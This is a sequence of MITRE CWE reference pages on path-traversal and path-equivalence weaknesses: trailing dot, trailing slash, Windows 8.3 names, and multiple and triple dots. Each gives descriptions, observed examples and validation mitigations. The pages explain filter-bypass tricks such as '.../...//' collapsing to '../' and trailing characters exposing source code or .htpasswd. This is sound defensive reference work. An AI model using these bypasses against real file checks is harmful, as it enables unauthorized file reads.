For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product accepts path input in the form of trailing dot ('filedir.') without appropriate validation, which can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.162Improper Neutralization of Trailing Special Elements
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.41Improper Resolution of Path Equivalence
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.43Path Equivalence: 'filename....' (Multiple Trailing Dot)
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Access Control

Technical Impact: Bypass Protection Mechanism

+ Observed Examples
ReferenceDescription
Source code disclosure using trailing dot
Source code disclosure using trailing dot
Source code disclosure using trailing dot
Source code disclosure using trailing dot
Bypass directory access restrictions using trailing dot in URL
Bypass directory access restrictions using trailing dot in URL
Bypass check for ".lnk" extension using ".lnk."
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.981SFP Secondary Cluster: Path Traversal
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1404Comprehensive Categorization: File Handling
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERTrailing Dot - 'filedir.'
Software Fault PatternsSFP16Path Traversal
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms
2020-02-24CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Path Issue - Trailing Dot - 'filedir.'

CWE-49: Path Equivalence: 'filename/' (Trailing Slash)

Weakness ID: 49
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product accepts path input in the form of trailing slash ('filedir/') without appropriate validation, which can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.162Improper Neutralization of Trailing Special Elements
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.41Improper Resolution of Path Equivalence
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
Operation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality
Integrity

Technical Impact: Read Files or Directories; Modify Files or Directories

+ Observed Examples
ReferenceDescription
Overlaps infoleak
Application server allows remote attackers to read source code for .jsp files by appending a / to the requested URL.
Bypass Basic Authentication for files using trailing "/"
Read sensitive files with trailing "/"
Web server allows remote attackers to view sensitive files under the document root (such as .htpasswd) via a GET request with a trailing /.
Directory traversal vulnerability in server allows remote attackers to read protected files via .. (dot dot) sequences in an HTTP request.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.981SFP Secondary Cluster: Path Traversal
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1404Comprehensive Categorization: File Handling
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERfiledir/ (trailing slash, trailing /)
Software Fault PatternsSFP16Path Traversal
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2008-11-24CWE Content TeamMITRE
updated Observed_Examples
2010-12-13CWE Content TeamMITRE
updated Observed_Examples
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Observed_Examples, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms
2020-02-24CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2023-10-26CWE Content TeamMITRE
updated Observed_Examples
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Path Issue - Trailing Slash - filedir/

CWE-58: Path Equivalence: Windows 8.3 Filename

Weakness ID: 58
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product contains a protection mechanism that restricts access to a long filename on a Windows operating system, but it does not properly restrict access to the equivalent short "8.3" filename.
+ Extended Description
On later Windows operating systems, a file can have a "long name" and a short name that is compatible with older Windows file systems, with up to 8 characters in the filename and 3 characters for the extension. These "8.3" filenames, therefore, act as an alternate name for files with long names, so they are useful pathname equivalence manipulations.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.41Improper Resolution of Path Equivalence
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

Operating Systems

Class: Windows (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality
Integrity

Technical Impact: Read Files or Directories; Modify Files or Directories

+ Observed Examples
ReferenceDescription
Multiple web servers allow restriction bypass using 8.3 names instead of long names
Source code disclosure using 8.3 file name.
Multi-Factor Vulnerability. Product generates temporary filenames using long filenames, which become predictable in 8.3 format.
+ Potential Mitigations

Phase: System Configuration

Disable Windows from supporting 8.3 filenames by editing the Windows registry. Preventing 8.3 filenames will not remove previously generated 8.3 filenames.
+ Functional Areas
  • File Processing
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.981SFP Secondary Cluster: Path Traversal
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1404Comprehensive Categorization: File Handling
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Research Gap

Probably under-studied.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERWindows 8.3 Filename
Software Fault PatternsSFP16Path Traversal
+ References
[REF-7] Michael Howard and David LeBlanc. "Writing Secure Code". 2nd Edition. Microsoft Press. 2002-12-04. <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223>.
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 11, "DOS 8.3 Filenames", Page 673. 1st Edition. Addison Wesley. 2006.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Applicable_Platforms, Relationships, Taxonomy_Mappings
2008-10-14CWE Content TeamMITRE
updated Description
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated References, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, References
2018-03-27CWE Content TeamMITRE
updated References
2020-02-24CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Path Issue - Windows 8.3 Filename

CWE-33: Path Traversal: '....' (Multiple Dot)

Weakness ID: 33
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize '....' (multiple dot) sequences that can resolve to a location that is outside of that directory.
+ Extended Description

This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.

The '....' manipulation is useful for bypassing some path traversal protection schemes. On some Windows systems, it is equivalent to "..\..\.." and might bypass checks that assume only two dots are valid. Incomplete filtering, such as removal of "./" sequences, can ultimately produce valid ".." sequences due to a collapse into unsafe value (CWE-182).

+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.23Relative Path Traversal
CanFollowBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.182Collapse of Data into Unsafe Value
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality
Integrity

Technical Impact: Read Files or Directories; Modify Files or Directories

+ Observed Examples
ReferenceDescription
read files via "/........../" in URL
read files via "...." in web server
read files via "......" in web server (doubled triple dot?)
read files via "......" in web server (doubled triple dot?)
multiple attacks using "..", "...", and "...." in different commands
"..." or "...." in chat server
+ Potential Mitigations

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.

Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

Effectiveness: High

Phase: Implementation

Strategy: Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.981SFP Secondary Cluster: Path Traversal
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1404Comprehensive Categorization: File Handling
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Maintenance

Like the triple-dot CWE-32, this manipulation probably hides multiple weaknesses that should be made more explicit.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVER'....' (multiple dot)
Software Fault PatternsSFP16Path Traversal
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Maintenance_Notes, Relationships, Taxonomy_Mappings
2008-10-14CWE Content TeamMITRE
updated Description, Maintenance_Notes
2009-07-27CWE Content TeamMITRE
updated Potential_Mitigations
2010-06-21CWE Content TeamMITRE
updated Description, Potential_Mitigations
2011-03-29CWE Content TeamMITRE
updated Potential_Mitigations
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms
2020-02-24CWE Content TeamMITRE
updated Potential_Mitigations, Relationships
2020-06-25CWE Content TeamMITRE
updated Potential_Mitigations
2021-03-15CWE Content TeamMITRE
updated Potential_Mitigations
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Path Issue - Multiple Dot - '....'

CWE-32: Path Traversal: '...' (Triple Dot)

Weakness ID: 32
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize '...' (triple dot) sequences that can resolve to a location that is outside of that directory.
+ Extended Description

This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.

The '...' manipulation is useful for bypassing some path traversal protection schemes. On some Windows systems, it is equivalent to "..\.." and might bypass checks that assume only two dots are valid. Incomplete filtering, such as removal of "./" sequences, can ultimately produce valid ".." sequences due to a collapse into unsafe value (CWE-182).

+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.23Relative Path Traversal
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality
Integrity

Technical Impact: Read Files or Directories; Modify Files or Directories

+ Observed Examples
ReferenceDescription
"\..." in web server
"..." or "...." in chat server
"..." in cd command in FTP server
"..." in cd command in FTP server
"..." in cd command in FTP server
read of arbitrary files and directories using GET or CD with "..." in Windows-based FTP server.
read files using "." and Unicode-encoded "/" or "\" characters in the URL.
Directory listing of web server using "..."
Triple dot
+ Potential Mitigations

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.

Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

Effectiveness: High

Phase: Implementation

Strategy: Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.981SFP Secondary Cluster: Path Traversal
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1404Comprehensive Categorization: File Handling
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Maintenance

This manipulation-focused entry is currently hiding two distinct weaknesses, so it might need to be split. The manipulation is effective in two different contexts:

  • it is equivalent to "..\.." on Windows, or
  • it can take advantage of incomplete filtering, e.g. if the programmer does a single-pass removal of "./" in a string (collapse of data into unsafe value, CWE-182).
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVER'...' (triple dot)
Software Fault PatternsSFP16Path Traversal
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Maintenance_Notes, Relationships, Taxonomy_Mappings
2008-10-14CWE Content TeamMITRE
updated Description, Maintenance_Notes
2008-11-24CWE Content TeamMITRE
updated Observed_Examples
2009-07-27CWE Content TeamMITRE
updated Potential_Mitigations
2010-06-21CWE Content TeamMITRE
updated Description, Maintenance_Notes, Potential_Mitigations
2011-03-29CWE Content TeamMITRE
updated Maintenance_Notes, Potential_Mitigations
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms
2020-02-24CWE Content TeamMITRE
updated Potential_Mitigations, Relationships
2020-06-25CWE Content TeamMITRE
updated Potential_Mitigations
2021-03-15CWE Content TeamMITRE
updated Potential_Mitigations
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Path Issue - Triple Dot - '...'

CWE-34: Path Traversal: '....//'

Weakness ID: 34
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
